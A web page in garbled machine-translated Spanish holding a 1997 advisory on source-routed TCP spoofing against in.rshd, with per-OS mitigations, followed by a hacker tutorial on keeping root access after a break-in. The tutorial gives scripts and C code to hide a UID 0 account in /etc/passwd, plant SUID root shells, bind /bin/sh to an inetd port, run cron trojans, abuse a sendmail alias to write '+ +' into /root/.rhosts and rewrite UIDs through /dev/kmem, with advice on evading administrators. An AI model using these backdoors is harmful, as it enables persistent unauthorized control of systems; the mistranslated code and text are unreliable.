Checkmate |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Un simple ataque de suplantación TCP
En los últimos años, la predicción de secuencia TCP ataques se han convertido en número uno
amenaza real contra las redes no protegidas, aprovechando la inherente
la confianza presente en las instalaciones de red muchas relaciones. Secuencia TCP
ataques número de predicción más comúnmente han sido aplicadas por la apertura de una
serie de conexiones con el host de destino, y tratar de predecir el
número de orden que se utilizará la próxima. Muchos sistemas operativos han
por lo tanto trataron de resolver este problema mediante la aplicación de un método de
la generación de números de secuencia en las modas impredecibles. Este método se
no resuelve el problema.
Este aviso introduce un método alternativo de obtener los primeros
Número de secuencia de algunos servicios comunes de confianza. El ataque se presenta aquí
no requiere que el atacante para abrir conexiones múltiples, o una inundación de un puerto
en el host de confianza para completar el ataque. El único requisito es que
paquetes fuente de enrutado se puede inyectar en la red de destino con un falso
direcciones de origen.
Este aviso asume que el lector ya tiene una comprensión de cómo
TCP secuencia de ataques predicción número de su ejecución.
El impacto de esta recomendación es muy disminuido debido a la gran cantidad de
organizaciones que bloquean fuente de paquetes enrutados y los paquetes con direcciones
dentro de sus redes. Por lo tanto, presentar la información como más de
una "cabeza arriba" mensaje para la inclinación de vista técnico, y volver a reiterar que
la distribución aleatoria de números de secuencia TCP no es una solución eficaz
en contra de este ataque.
Detalles Técnicos
~~~~~~~~~~~~~~~~~
El problema se produce cuando los demonios particulares aceptar conexiones de red
con el enrutamiento de origen habilitado, y proceder a desactivar cualquier fuente de enrutamiento
opciones en la conexión. La conexión se permite que continúe, sin embargo
el camino inverso ya no se utiliza. Un ataque lanzado contra ejemplo puede
el demonio in.rshd, que en la mayoría de los sistemas recuperará la toma de opciones
a través de getsockopt () y luego desactivar cualquier opción peligrosa a través de setsockopt ().
Un ejemplo es el siguiente ataque.
El host A es el host de confianza
Host B es el host de destino
Casa C es el atacante
Casa C inicia una conexión a fuente de enrutado in.rshd en el host B, fingiendo
para ser sede A.
Casa C spoofing host A -> host B in.rshd
Host B recibe el paquete SYN inicial, se crea un nuevo PCB (protocolo
bloque de control) y asociados de la ruta con el PCB. Host B responde,
utilizando el camino inverso, enviando un paquete SYN / ACK con el número de secuencia.
Casa C spoofing de host A <- host B in.rshd
Casa C responde, todavía una parodia de una acogida, reconociendo el número de secuencia.
opciones de enrutamiento de origen no se requieren en este paquete.
Casa C spoofing host A -> host B in.rshd
Ahora tenemos una conexión establecida, el accept () llamada se realiza, y
el control es pasado ahora a la in.rshd demonio. El demonio hace ahora IP
Opciones de comprobación y determina que hemos iniciado una fuente de enrutado
conexión. El demonio ahora se apaga esta opción, y cualquier paquete enviado
Posteriormente, se envía al host real A, que ya no utilizan a la inversa
ruta que hemos especificado. Normalmente, esto estaría a salvo, sin embargo, el
atacar de acogida ya sabe lo que el siguiente número de secuencia será. Conocimiento
Este número de secuencia, podemos enviar un paquete falso sin que la fuente
opciones de enrutamiento habilitado, fingiendo que se originan en el host A, y nuestra
comando será ejecutado.
En algunas condiciones de la inundación de un puerto en la máquina real A se requiere
si es mayor ammounts de los datos son enviados, para evitar que el host real de un
responder con un RST. Esto no es necesario en la mayoría de los casos cuando se realiza
este ataque contra in.rshd debido a la pequeña cantidad de datos transmitidos.
Cabe señalar que el número de secuencia se obtiene antes de aceptar ()
ha vuelto y que esto no se puede prevenir sin tener que apagar la fuente
de enrutamiento en el núcleo.
Como nota al margen, tenemos mucha suerte, que asocia TCP sólo una fuente de rutas con
un PCB cuando el SYN inicial es recibido. Si lo aceptó y cambió la ip
opciones en cualquier momento durante la conexión, los ataques más exóticos puede ser posible.
Estas podrían incluir el secuestro de conexiones a través de Internet sin jugar
un hombre en medio del ataque y ser capaz de pasar por alto las opciones de control IP
impuestas por los demonios con getsockopt (). Por suerte, * BSD basado TCP / IP stacks
No hagas esto, sin embargo, sería interesante examinar otras implementaciones.
Impacto
~~~~~~
El impacto de este ataque es similar a la secuencia de TCP más compleja
ataque número de predicción, sin embargo, implica menos pasos, y no requiere
nos "adivinar" la secuencia de números. Esto permite a un atacante ejecutar
comandos arbitrarios como root, dependiendo de la configuración de la meta
del sistema. Se requiere que la confianza está presente aquí, como ejemplo, el uso
de. rhosts o archivos hosts.equiv.
Soluciones
~~~~~~~
La solución ideal a este problema es hacer que todos los servicios que se basan en
IP caída de autenticación basados en la conexión por completo cuando inicialmente
la detección de esa fuente enviados opciones están presentes. Los administradores de red
y los usuarios pueden tomar precauciones para evitar que los usuarios fuera de su red
que se aprovechen de este problema. Las soluciones se espera ya
implementado o se están aplicando.
1. Bloquear cualquier fuente de conexiones enrutadas en sus redes
2. Bloquear todos los paquetes con la dirección interna basada entren en su red.
Los administradores de red deben ser conscientes de que estos ataques pueden ser fácilmente
lanzado desde detrás de routers y firewalls de filtrado. De servicios de Internet
los proveedores y las empresas deben asegurarse de que los usuarios internos no se puede iniciar
los ataques descritos. Las precauciones se sugirió anteriormente deberían aplicarse
para proteger las redes internas.
Código de ejemplo para analizar correctamente las fuentes de paquetes enviados se presenta aquí
como ejemplo. Por favor, háganos saber si hay algún problema con él.
Este código ha sido probado en sistemas operativos basados en BSD.
] U_char optbuf [BUFSIZ / 3;
optsize int = sizeof (optbuf), ipproto, i;
struct ip * protoent;
if ((ip = getprotobyname ("IP"))! = NULL)
ipproto = ip-> p_proto;
más
ipproto = IPPROTO_IP;
if (! getsockopt (0, ipproto, IP_OPTIONS, (char *) optbuf, y optsize) & &
optsize! = 0) (
for (i = 0; i servidor
El número de parches es
U210-037 (normal version)
D210-037 (versión doméstica para los sitios que ejecutan la versión kerberizados)
BSD / OS 2.1 de enrutamiento de origen tiene desactivado por defecto
Las versiones anteriores del buque con el enrutamiento de origen habilitado de forma predeterminada. En lo que
sabemos, BSD / OS no se puede configurar a caer derrotado paquetes destinados fuente
por sí mismo, sin embargo se puede configurar para prevenir la transmisión de tales
paquetes cuando actúa como una puerta de enlace.
Para determinar si el reenvío de paquetes enrutados de origen está habilitada,
ejecute el siguiente comando:
# Sysctl net.inet.ip.forwarding
# Sysctl net.inet.ip.forwsrcrt
La respuesta será 0 ó 1, 0 significa apagado, y 1 lo que significa que está activado.
Transmisión de los paquetes enrutados de origen puede ser desactivado a través de:
# Net.inet.ip.forwsrcrt sysctl-w = 0
Transmisión de todos los paquetes, en general, se puede apagar a través de:
# Net.inet.ip.forwarding sysctl-w = 0
--- OpenBSD
Se envía con el enrutamiento de origen desactivado por defecto. Para determinar si la fuente
el enrutamiento está habilitado, el comando siguiente se pueden emitir:
# Sysctl net.inet.ip.sourceroute
La respuesta será 0 ó 1, 0 lo que significa que el enrutamiento de origen está apagado,
y 1 lo que significa que está activado. Si el enrutamiento de origen se ha encendido, apague a través de:
# Net.inet.ip.sourceroute sysctl-w = 0
Esto evitará que OpenBSD de expedición y aceptación de cualquier fuente de enrutado
paquetes.
--- FreeBSD
Se envía con el enrutamiento de origen desactivado por defecto. Para determinar si la fuente
el enrutamiento está habilitado, el comando siguiente se pueden emitir:
# Sysctl net.inet.ip.sourceroute
La respuesta será 0 ó 1, 0 lo que significa que el enrutamiento de origen está apagado,
y 1 lo que significa que está activado. Si el enrutamiento de origen se ha encendido, apague a través de:
# Net.inet.ip.sourceroute sysctl-w = 0
--- Linux
Linux por defecto tiene el enrutamiento de origen con discapacidad en el núcleo.
--- Solaris 2.x
Se envía con un enrutamiento de origen habilitado de forma predeterminada. Solaris 2.5.1 es uno de los
unos pocos sistemas operativos comerciales que tiene la secuencia impredecible
números, que no ayuda en este ataque.
No sabemos de ningún método para prevenir el Solaris de aceptar fuente de enrutado
conexiones, sin embargo, los sistemas Solaris actuando como vías de acceso se pueden prevenir
de transmisión de cualquier fuente de paquetes enrutados a través de los siguientes comandos:
# Ndd-set / dev / ip ip_forward_src_routed 0
Usted puede evitar el reenvío de todos los paquetes a través de:
# Ndd-set / dev / ip ip_forwarding 0
Estos comandos pueden ser añadidos a / etc/rc2.d/S69inet a surtir efecto en el arranque.
--- SunOS 4.x
No sabemos de ningún método para prevenir el SunOS aceptar fuente de enrutado
conexiones, sin embargo es un parche para evitar availible sistemas de SunOS
fuente de reenvío de paquetes enrutados.
Este parche es availible en:
ftp://ftp.secnet.com/pub/patches/source-routing-patch.tar.gz
Para configurar SunOS para prevenir la transmisión de todos los paquetes, los siguientes
comando puede emitirse:
# Echo "ip_forwarding / w 0" | "adb-k-w / vmunix / dev / mem
# Echo "ip_forwarding? W 0" | "adb-k-w / vmunix / dev / mem
El primer comando desactiva el reenvío de paquetes en / dev / mem, la segunda en
/ Vmunix.
--- HP-UX
HP-UX no parece haber opciones para configurar un sistema HP-UX para
evitar que la aceptación o de envío de paquetes enrutados de origen. HP-UX ha IP
transmisión activada por defecto y debe ser apagado en caso de actuar como un
cortafuegos. Para determinar si el reenvío de IP se encuentra actualmente en los siguientes
comando puede emitirse:
adb "# / HP-UX
ipforwarding? X <- la entrada del usuario
ipforwarding:
ipforwarding: 1
#
Una respuesta de 1 indica el reenvío de IP está activado, 0 indica apagado. HP-UX puede
ser configurado para prevenir la transmisión de los paquetes a través de los siguientes
comandos:
# "Adb-w / hp-ux / dev / kmem
ipforwarding / W 0
ipforwarding? W 0
^ D
#
--- AIX
AIX no se puede configurar para descartar fuente de paquetes enviados destinados a la misma,
Sin embargo, puede ser configurado para prevenir la transmisión de paquetes enrutados de origen.
el reenvío de IP y transmisión de paquetes enrutados de origen específica puede ser
desactivado en AIX a través de los siguientes comandos:
Para desactivar el reenvío de todos los paquetes:
# / Usr / sbin / ipforwarding ningún-o = 0
paquetes Para desactivar el desvío de la fuente de enrutado:
# / Usr / sbin / nonlocsrcroute ningún-o = 0
Tenga en cuenta que estos comandos deben ser añadidos a / etc / rc.net
Si apagar el enrutamiento de origen no es posible y está utilizando todavía
los servicios que dependen de la autenticación de dirección IP, que deben ser desactivados
inmediatamente (in.rshd, in.rlogind). in.rlogind es seguro si. rhosts y
/ Etc / hosts.equiv no se utilizan.
Atribuciones
~~~~~~~~~~~~
Gracias a Niels Provos para proporcionar
la información y los detalles de este ataque. Puedes ver su web
sitio en http://www.physnet.uni-hamburg.de/provos
Gracias a Theo de Raadt, el responsable de la transmisión de estos OpenBSD
información para nosotros. Más información en OpenBSD se puede encontrar en
http://www.openbsd.org
Gracias a Keith Bostic para el debate y una rápida
solución para BSD / OS.
Gracias a Brad Powell a suministrar la información
para Solaris 2.xy SunOS 4.x sistemas operativos.
Agradecemos a CERT y AusCERT para las recomendaciones en este documento informativo.
Puedes contactar con el autor de este documento informativo en oliver@secnet.com
----- BEGIN PGP ----- BLOQUE CLAVE PUBLICA
Versión: 2.6.3ia
mQCNAzJATn0AAAEEAJeGbZyoCw14fCoAMeBRKiZ3L6JMbd9f4BtwdtYTwD42/Uz1
+ A/4UiRJzRLGhARpt1J06NVQEKXQDbejxGIGzAGTcyqUCKH6yNAncqoep3 PKIQJd
Kd23buvbk7yUgyVlqQHDDsW0zMKdlSO7rYByT6zsW0Rv5JmHJh/bLKAOe7p9AAUR
tCVPbGl2ZXIgRnJpZWRyaWNocyA8b2xpdmVyQHNlY25ldC5jb20 + iQCVAwUQMkBO
fR/bLKAOe7p9AQEBOAQAkTXiBzf4a31cYYDFmiLWgXq0amQ2lsamdrQohIMEDXe8
45SoGwBzXHVh + + gnXCQF2zLxaucKLG3SXPIg nJWhFczX2Fo97HqdtFmx0Y5IyMgU
qRgK/j8KyJRdVliM1IkX8rf3Bn ha3xn0yrWlTZMF9nL7iVPBsmgyMOuXwZ7ZB8 + =
= Xq4f
----- END PGP PUBLIC BLOCK -----
Nota de Copyright
~~~~~~~~~~~~~~
El contenido de este documento informativo son Copyright (C) 1997 Secure Networks Inc,
y puede ser distribuido libremente siempre y cuando no se cobra cuota de
distribución, y que el crédito se da a conocer.
Usted puede encontrar documentos de seguro Networks en ftp://ftp.secnet.com/pub/papers
y avisos en ftp://ftp.secnet.com/advisories
Puede navegar por nuestro sitio web en http://www.secnet.com
Puede suscribirse a nuestra lista de correo de seguridad de asesoramiento mediante el envío de correo electrónico a
majordomo@secnet.com con la línea "subscribe sni-avisos"
Ok ..... Usted ha estado trabajando durante toda la noche. Tratar todas las hazañas que se pueda imaginar. El sistema parece ajustado. El sistema se ve reñida.
El sistema "es" apretada. Usted ha intentado todo. Predeterminado passwds, passwds adivinar, debilidades NIS, NFS agujeros, es incorrecta
permisos, las condiciones de carrera, hazañas SUID, errores Sendmail, etc ... Nada. ESPERE! ¿Qué es eso!?!? A "#"???? ¡Por fin!
Después de haber faenado sin fin aparente, que ha conseguido robar la raíz. ¿Y ahora qué? ¿Cómo se puede sostener sobre este precioso super-usuario
privilegio que han trabajado tan duro para lograr ....?
Este artículo está destinado a mostrar cómo aferrarse a raíz vez que lo tenga. Está dirigido a los hackers y administradores por igual.
Desde la perspectiva de la piratería, es obvio lo bueno en este trabajo se lo hace. Admin también pueden beneficiarse de este trabajo. Alguna vez
preguntarse cómo ese hacker molestos siempre se las arregla para que aparezca, incluso cuando usted piensa que ha erradicado por completo lo de su
sistema?
Esta lista no es exhaustiva. Hay tantas maneras de dejar puertas traseras en un equipo UNIX, ya que hay
formas en una sola.
De antemano
Conozca la ubicación de los archivos críticos del sistema. Esto debería ser obvio (Si usted no puede enumerar alguna de la parte superior de la cabeza, dejar de leer
ahora, consiga un libro sobre UNIX, lo leyó, a continuación, vuelve a mí ...). La familiaridad con los formatos de archivo passwd (incluyendo el terreno general 7
formato, sistema de convenciones de nombres específicos, los mecanismos de sombreado, etc ..). Conozca vi. Muchos sistemas no tendrán los
robusto, fácil de usar editores como Pico y Emacs. Vi también es bastante útil para tener que buscar de forma rápida y editar un archivo de gran tamaño. Si
que se está conectando de forma remota (a través de dial-up/telnet/rlogin/whatver) siempre es bueno tener un programa de terminal robusto que tiene una
tampón agradable, scroll FAT. Esto será muy útil si deseas cortar y pegar el código, los archivos rc, shell scripts, etc ..
El permenance de estas puertas traseras dependerá completamente de la saavy técnica del administrador. La experiencia y
administrador experto hará bien en muchos (no todos) de estos "puertas traseras". Pero, si han conseguido robar la raíz, es probable que el
admin no es tan hábil (o al día sobre los informes de errores) como debía ser, y muchas de estas puertas pueden estar en su lugar por algún tiempo
por venir. Una cosa importante a tener en cuenta, es el hecho de que si usted puede cubrir las pistas durante los primeros robo, nadie será
en busca de puertas traseras.
Los manifiestos
[1] Añadir un UID 0 en cuenta en el archivo passwd. Esta es probablemente la más obvia y descubre rápidamente método de rentry. Lo
vuela una bandera roja con el administrador, diciendo que "estamos bajo ataque !!!". Si usted tiene que hacer esto, mi consejo es NO, simplemente
anteponer o anexar la misma. Cualquier persona causalmente examinar el archivo passwd va a ver esto. Así que, ¿por qué no palillo en el centro ...
#! / Bin / csh
# Introduce un UID 0 en cuenta en el medio del archivo passwd.
# No es probable que una manera de hacer esto en 1 / 2 de una línea de AWK o SED. Oh, bueno.
daemon9@netcom.com #
conjunto linecount = `wc-l / etc / passwd`
# cd hacer esto en casa.
cp / etc / passwd. / # temppass seguridad es lo primero.
echo passwd ha linecount $ [1] líneas.
@ [Linecount 1] / 2 =
@ [Linecount 1] + = 1 # solo queremos los archivos 2 temp
echo La creación de dos ficheros, linecount $ [1] Las líneas de cada uno (o que aproximadamente ).
split - $ linecount [1]. / temppass cadena # passwd opcional
echo "EvilUser:: 0:0: Sr. Siniestro: / home / dulce / home: / bin / csh">>. / xaa
cat. />> xab. / xaa
mv. / xaa / etc / passwd
chmod 644 / etc / passwd # o lo que fuera previamente
rm. / * xa. / temppass
Hecho eco ...
Nunca, jamás, cambiar la contraseña de root. Las razones son obvias.
[2] En una línea similar, habilitar una cuenta de discapacitados como UID 0, como Sync. O, tal vez, una cuenta somwhere enterrado profundamente en el
passwd ha sido abandonada, y los discapacitados por el administrador de sistemas. Cambiar su UID 0 (y quitar el "*" a partir del segundo
campo).
[3] Deja un shell SUID root en / tmp.
#! / Bin / sh
# El favorito de todos ...
cp / bin / csh / tmp / .evilnaughtyshell # No es el nombre que ...
chmod 4755 / tmp / .evilnaughtyshell
Muchos sistemas de ejecutar tareas de cron para limpiar / tmp todas las noches. La mayoría de los sistemas de limpieza / tmp después de un rearranque. Muchos sistemas tienen / tmp montada
para no permitir que se ejecute programas SUID. Puede cambiar todo esto, pero si el sistema de archivos comienza a llenarse, la gente puede
Aviso ... pero, hey, esto es * * la sección abierta ....). No voy a detallar los cambios necesarios, ya que pueden ser bastante sistema
específicos. Echa un vistazo a / var / spool / cron / crontabs / root y / etc / fstab.
La Velada
[4] El archivo de configuración super-servidor no es el primer lugar un administrador de sistemas se mira, ¿por qué no poner una allí? En primer lugar, algunos
Información de fondo: El demonio de Internet (/ etc / inetd) escucha las peticiones de conexión de los puertos TCP y UDP y genera el
programa adecuado (generalmente un servidor) cuando llega una solicitud de conexión. El formato del fichero / etc / inetd.conf es simple. Típico
líneas de este aspecto:
(1) (2) (3) (4) (5) (6) (7)
ftp stream tcp nowait, la raíz / usr / etc / ftpd ftpd
hablar udp dgram esperar root / usr / etc / ntalkd ntalkd
Campo (1) es el nombre de demonio que debe aparecer en / etc / services. Esto le dice a inetd qué buscar en / etc / services para determinar
qué puerto debe asociar el nombre del programa con. (2) le dice a inetd que tipo de conexión toma el demonio se espera.
TCP utiliza arroyos, y UDP utiliza datagramas. Campo (3) es el campo de protocolo que es uno de los dos protocolos de transporte, TCP
o UDP. Campo (4) especifica si o no el demonio es iterativo o concurrente. bandera de esperar 'A' indica que el servidor
un proceso de conexión y hacer todas las conexiones posteriores esperar. "NOWAIT" significa que el servidor acepta la conexión, generar un
proceso hijo para manejar la conexión y, a continuación, volver a dormir, esperando nuevas conexiones. Campo (5) es el usuario (o más
inportantly, el UID) que el demonio se ejecuta como. (6) es el programa que se ejecuta cuando llega una conexión, y es (7) el real
de comandos (y los argumentos opcionales). Si el programa es trivial (por lo general no requiere intervención del usuario) inetd puede manejarlo internamente.
Esto se hace con una "interna" bandera en los campos (6) y (7).
Por lo tanto, para instalar una puerta trasera a mano, elegir un servicio que no se utiliza a menudo, y sustituir el demonio que normalmente se encargue
con algo más. Un programa que crea un shell SUID root, un programa que agrega una cuenta de root para que en el archivo / etc / passwd
de archivos, etc ..
Para la insinuación con impedimentos, intente esto:
Abra el archivo / etc / inetd.conf en un editor. Busque la línea que dice lo siguiente:
tcp nowait, durante el día corriente de raíz interna
y cambiarlo a:
NOWAIT día stream tcp / bin / sh sh-i.
Ahora debe reiniciar / etc / inetd para que se relea el fichero de configuración. Depende de cómo usted quiere hacer esto. Puedes matar y
reiniciar el proceso, (kill -9, / usr / sbin / inetd o / usr / etc / inetd), que TODAS las conexiones de red interuppt (por lo que es una buena idea
para hacer esto fuera de las horas punta).
[5] Una opción para poner en peligro un servicio bien conocido sería instalar uno nuevo, que se ejecuta un programa de su elección. Uno
solución sencilla es crear una capa similar a las carreras por encima de la puerta de atrás. Usted necesita asegurarse de que la entrada aparece en
/ Etc / services, así como en / inetd.conf / etc. El formato del fichero / etc / servicios es simple:
(1) (2) / (3) (4)
smtp 25/tcp mail
Campo (1) es el servicio, el campo (2) es el número de puerto, (3) es el tipo de protocolo del servicio de espera, y (4) es el nombre común
asociados con el servicio. Por ejemplo, añada esta línea a / etc / services:
22/tcp mal mal
y esta línea a / etc / inetd.conf:
NOWAIT mal stream tcp / bin / sh sh-i
Reiniciar inetd como antes.
Nota: Potencialmente, se trata de una MUY puertas traseras de gran alcance. No sólo ofrecen rentry locales de cualquier cuenta en el sistema,
que ofrecen rentry de * * en cualquier cuenta de cualquier computadora * * en Internet.
[6] Cron basado troyano I. Cron es una herramienta de administración del sistema maravilloso. También es una herramienta maravillosa para puertas traseras, ya raíz de
crontab, así, ejecute como root ... Una vez más, en función del nivel de experiencia de al administrador del sistema (y la aplicación), este
puerta trasera puede o no puede durar. / Var / spool / cron / crontabs / root es donde la lista de root para crontabs normalmente se encuentra. Aquí, usted tiene
varias opciones. Voy a enumerar una muy pocos, como backdoors base cron sólo están limitadas por su imaginación. Cron es el demonio del reloj.
Es una herramienta para ejecutar comandos de forma automática en las fechas establecidas y los tiempos. Crontab es el comando utilizado para agregar, quitar,
o ver las entradas de crontab. Es tan fácil de editar manualmente el archivo / var / spool / crontab / archivos raíz como lo es para el uso crontab. Un crontab
entrada tiene seis campos:
(1) (2) (3) (4) (5) (6)
0 0 * * 1 / usr / bin / updatedb
Campos (1) - (5) son los siguientes: minuto (0-59), hora (0-23), día del mes (1-31) meses del año (1-12), día de la semana
(0-6). Campo (6) es el comando (o shell script) para ejecutar. El script de shell que se ejecuta por encima de los lunes. Para explotar cron,
sólo tiene que añadir una entrada en / var / spool / crontab / root. Por ejemplo: Usted puede tener un cronjob, que funcionará todos los días y mirar en la
Archivo / etc / passwd para el UID 0 en cuenta que previamente añadido, y añadir si él falta, o no hace nada en otro caso (no puede
ser una mala idea real * * insertar el código shell script de shell en un crontab ya instalado entrada, para confundir aún más su
intenciones de sombra). Agregue esta línea a / var / spool / crontab / root:
0 0 * * * / usr / bin / trojancode
Este es el script de shell:
#! / Bin / csh
# ¿Es nuestro eviluser todavía en el sistema? Vamos a asegurarnos de que es.
daemon9@netcom.com #
conjunto evilflag = (`eviluser grep / etc / passwd»)
if ($ evilflag # == 0) entonces # ¿Está ahí?
conjunto linecount = `wc-l / etc / passwd`
# cd hacer esto en casa.
cp / etc / passwd. / # temppass seguridad es lo primero.
@ [Linecount 1] / 2 =
@ [Linecount 1] + = 1 # solo queremos los archivos 2 temp
split - $ linecount [1]. / temppass cadena # passwd opcional
echo "EvilUser:: 0:0: Sr. Siniestro: / home / dulce / home: / bin / csh">>. / xaa
cat. />> xab. / xaa
mv. / xaa / etc / passwd
chmod 644 / etc / passwd # o lo que fuera previamente
rm. / * xa. / temppass
Hecho eco ...
más
endif
[7] basado en Cron troyano II. Esta fue traído a mi atención por nuestro propio Sr. Zippy. Para ello, necesita una copia de la
/ Etc / passwd archivo oculto en algún lugar. En este archivo oculto passwd (lo llaman / var / spool / mail / .sneaky) no tenemos más que una entrada, una raíz
cuenta con un password de su elección. Corremos un cronjob que, todas las mañanas a las 2:30 de la mañana (o cada otro día), salvo uno
copia de lo real / etc / passwd, e instalar un troyano de este como el verdadero archivo / etc / passwd para un minuto (sincronizar muestras!).
Cualquier usuario normal o proceso de tratar de ingresar o acceder al archivo / etc / passwd se obtiene un error, pero más tarde un minuto, todo
estaría bien. Añada esta línea al archivo crontab de root:
29 2 * * * / bin / usr / sneakysneaky_passwd
asegurarse de que esto existe:
# Echo "root: 1234567890123:0:0: Operador: /: / bin / csh"> / var / spool / mail / .sneaky
y este es el script de shell sencillo:
#! / Bin / csh
# Troyano Instalar / etc / passwd de un minuto
daemon9@netcom.com #
cp / etc / passwd / etc / .temppass
cp / var / spool / mail / .sneaky / etc / passwd
del sueño 60
mv / etc / .temppass / etc / passwd
[8] Compilado troyano código. Simple idea. En lugar de un script de shell, tienen algo de código C bueno confundir los efectos. Aquí está.
Asegúrese de que se ejecute como root. Nombre que innocous algo. Ocultar bien.
/ * Un troyano poco para crear un shell SUID root, si el argumento es correcto
determinado. código en C, en lugar de concha para ocultar evidentes sus efectos. * /
/ * * Daemon9@netcom.com /
# Include
# Define Palabras Clave "industry3"
# Define BufferSize 10
int main (argc, argv)
int argc;
char * argv [], (
int i = 0;
if (argv [1]) (/ * tenemos un argumento, es la palabra clave? * /
if (! (strcmp (palabra clave, argv [1 ]))){
/ * Esta es la parte de Troya. * /
sistema ("cp / bin / csh / bin/.swp121");
sistema ("chown root / bin/.swp121");
sistema ("chmod 4755 / bin/.swp121");
)
)
/ * Pone troyano de su sistema, posiblemente, específica
Mensajes de aquí * /
/ * Vamos a ver como estamos haciendo algo ... * /
printf ("Sincronización de archivos de imagen de mapa de bits.");
/ * Del sistema ("ls-ALR /> / dev / null> / dev / null &") * /
for (; i <10; i + +) (
fprintf (stderr ,".");
del sueño (1);
)
printf ("nDone . n");
return (0);
) / * Fin de main /
[9] Los alias de sendmail. El alias de sendmail permite el correo enviado a un usuario particular, ya sea para ampliar a varios
usuarios, o tal vez la salida a un programa. Más conocido de ellos es el troyano alias uudecode. Sólo tienes que añadir la línea:
"Descifrar:" | / usr / bin / uudecode "
al archivo / etc / aliases. Por lo general, a continuación, se crearía un uuencoded. Rhosts con la ruta completa incrustado.
#! / Bin / csh
# Creamos nuestra. Rhosts. Nota esta es la salida a la salida.
echo "+ +" tmpfile>
/ Usr / bin / tmpfile uuencode / root / .rhosts
telnet Junto al sitio deseado, el puerto 25. Simplemente fakemail para decodificar y su uso como objeto el cuerpo, la versión de la uuencoded
. Rhosts. Para una línea uno (no falsos, sin embargo) hacer esto:
% Echo "+ +" | / usr / bin / uuencode / root / decode@target.com .rhosts mail |
Puede ser tan creativo como usted desea en este caso. Usted puede configurar un alias que, al enviar a, se ejecutará un programa de su
elección. Muchos de los guiones anteriores y métodos pueden ser empleados aquí.
La Secreta
[10] Código de Troya en programas comunes. Este es un método más astuto que realmente sólo es detectable por los programas de tripwire tales.
La idea es sencilla: insertar código troyano en la fuente de un programa de uso común. Algunos de los más programas útiles para nosotros en esta
caso son su, login y password, ya que ya ha ejecutado SUID root, y no necesitan modificación permiso. A continuación se presentan algunas
ejemplos general de lo que querría hacer, una vez obtenido el código fuente correcta para el particular sabor de UNIX que
son backdooring. (Nota: Esto no siempre es posible, ya que algunos vendedores de UNIX no son tan generosos con su código fuente.)
Dado que el código es muy largo y para muchos sabores diferentes, me limitaré a incluir de base pseudo-código:
entrada de conseguir;
si la entrada es especial pabellón codificados, de desove troyano mal;
else if entrada es válida, continúe;
más dejar de fumar con el error;
...
No complejo o difícil. Troyanos de este tipo se puede hacer en menos de 10 líneas de código adicional.
El Esotérico
[11] / dev / kmem explotar. Representa el virtual del sistema. Dado que el núcleo mantiene sus parámetros en la memoria, es posible
modificar la memoria de la máquina para cambiar el UID de sus procesos. Para ello se requiere que / dev / kmem de lectura y escritura
permiso. Los siguientes pasos se ejecutan: Abra el dispositivo / dev / kmem, busque a su página en la memoria, sobreescribir el UID de
su proceso actual, a continuación, generar un csh, que heredarán este UID. El siguiente programa hace exactamente eso.
/ * Si / kmem es es lectura y escritura, este programa va a cambiar el usuario
UID y el GID a 0. * /
/ * Este código apareció originalmente en la "seguridad UNIX: Un práctico tutorial"
con algunas modificaciones por daemon9@netcom.com * /
# Include
# Include
# Include
# Include
# Include
# Include
# Include
# Define Palabras Clave "nomenclature1"
usuario struct página de usuario;
largo discurso (), userlocation;
int main (argc, argv, envp)
int argc;
char * argv [], * envp [], (
int cuenta, fd;
de largo, donde, lseek ();
if (argv [1]) (/ * tenemos un argumento, es la palabra clave? * /
if (! (strcmp (palabra clave, argv [1 ]))){
fd = (open ("/ dev / kmem", O_RDWR);
if (fd <0) (
printf ("No se puede leer o escribir en / dev / n kmem");
perror (argv);
salida (10);
)
userlocation = dirección ();
donde = (lseek (fd, userlocation, 0);
if (donde! userlocation =) (
printf ("No se puede tratar de usuario página n");
perror (argv);
salida (20);
)
count = read (fd, & página de usuario, sizeof (struct usuario));
if (cuenta! = sizeof (struct usuario)) (
printf ("No se puede leer de usuario página n");
perror (argv);
salida (30);
)
printf ("Current UID:% d n", userpage.u_ruid);
printf ("GID actual:% d n", userpage.g_ruid);
userpage.u_ruid = 0;
userpage.u_rgid = 0;
donde = lseek (fd, userlocation, 0);
if (donde! userlocation =) (
printf ("No se puede tratar de usuario página n");
perror (argv);
salida (40);
)
write (fd, & página de usuario, ((char *) & (userpage.u_procp ))-(( char *) & página de usuario));
execle ("/ bin / csh," / bin / csh, "-i", (char *) 0, envp);
)
)
) / * Fin de main /
# Include
# Include
# Include
# Define LNULL ((* LDFILE) 0)
largo discurso () (
* LDFILE objeto;
SYMENT símbolo;
idx largo = 0;
objeto = ldopen ("/ unix", LNULL);
if (! objeto) (
stderr fprintf ("No se puede abrir / unix. n");
salida (50);
)
for (; ldtbread (objeto, idx, y símbolo) == SUCCESS; idx + +) (
if (! strcmp ("_u", ldgetname (objeto, símbolo &))) (
stdout fprintf ("Página de usuario se encuentra en 0x% 8.8x n", symbol.n_value);
ldclose (objeto);
retorno (symbol.n_value);
)
)
stderr fprintf ("No se puede leer en la tabla de símbolos / unix. n");
salida (60);
)
[12] Dado que el código anterior requiere que / dev / kmem mundo para ser accesibles, y esto no es probable que un acontecimiento natural, tenemos que tomar
cuidado de esta. Mi consejo es escribir un script de shell similar a la de [7], que va a cambiar los permisos en / dev / kmem para un
cantidad de tiempo (por ejemplo 5 minutos) y luego restaurar los permisos originales. Puedes añadir esta fuente a la fuente en [7]:
chmod 666 / dev / kmem
dormir siesta # 300 durante 5 minutos
chmod 600 / dev / kmem # O lo que era antes
Concepto de la cuestión de Infi
|
|
|
|
|
|
|
Existen 57 visitantescheckmate |
|
|
|
| | |